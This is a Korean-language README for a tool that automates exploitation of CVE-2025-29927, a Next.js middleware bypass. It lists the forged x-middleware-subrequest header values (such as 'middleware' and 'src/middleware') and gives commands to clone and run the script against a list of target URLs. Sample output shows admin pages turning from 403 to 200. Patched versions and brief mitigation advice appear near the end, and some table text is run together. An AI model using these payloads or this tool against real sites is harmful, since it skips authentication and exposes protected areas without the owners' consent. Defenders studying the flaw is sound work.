
CVE-2025-29927: Next.js Middleware Exploit
이 도구는 CVE-2025-29927의 악용을 시연하고 자동화합니다. 이는 Next.js의 취약점으로, 공격자가 내부 헤더 x-middleware-subrequest를 남용하여 미들웨어 검사(예: 인증)를 우회할 수 있게 해줍니다.
Next.js는 내부적으로 재귀 요청의 무한 루프를 방지하기 위해 x-middleware-subrequest 헤더를 사용합니다. 그러나 특정 버전에서는 이 헤더가 외부 조작으로부터 보호되지 않아, 악의적인 공격자가 이를 위조할 수 있습니다.
이 헤더를 수동으로 설정하면 인증, 리다이렉트, 로깅 또는 필터링을 적용하는 미들웨어 로직이 완전히 건너뛰어집니다.
x-middleware-subrequest에 대한 여러 페이로드를 반복합니다.403이 200으로 변경됨15.2.314.2.2513.5.9output: standalone과 함께 next start)next export)Normal Request:
GET /admin --> 403 Forbidden
Request with Header:
GET /admin --> 200 OK
x-middleware-subrequest: middleware
대상이 미들웨어를 통해 인증을 확인하더라도 이 방법으로 완전히 우회됩니다.
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
urls.txt라는 파일을 만들고 각 줄에 URL 하나씩 입력합니다:
https://target.com/admin
https://target.com/_next/static/asset.js
python3 0xMiddleware.py urls.txt
익스플로잇 헤더가 있는 요청과 없는 요청을 각 URL로 전송합니다.
여러 페이로드 변형을 사용합니다:
middlewarepages/_middlewaresrc/middleware로그 기록:
middleware_exploited.txt: 실제 우회(403 → 200)용middleware_response_diff.txt: 응답 콘텐츠가 다를 때즉시 Next.js를 안전한 버전으로 업그레이드하세요:
15.2.3+14.2.25+13.5.9+또한:
getServerSideProps, JWT, 세션 사용).[✔] Bypass successful: https://target.com/admin (payload: middleware)
[•] Response difference detected: https://target.com/login (payload: src/middleware)
[✔] Found 3 bypasses > middleware_exploited.txt
[•] Found 5 response diffs > middleware_response_diff.txt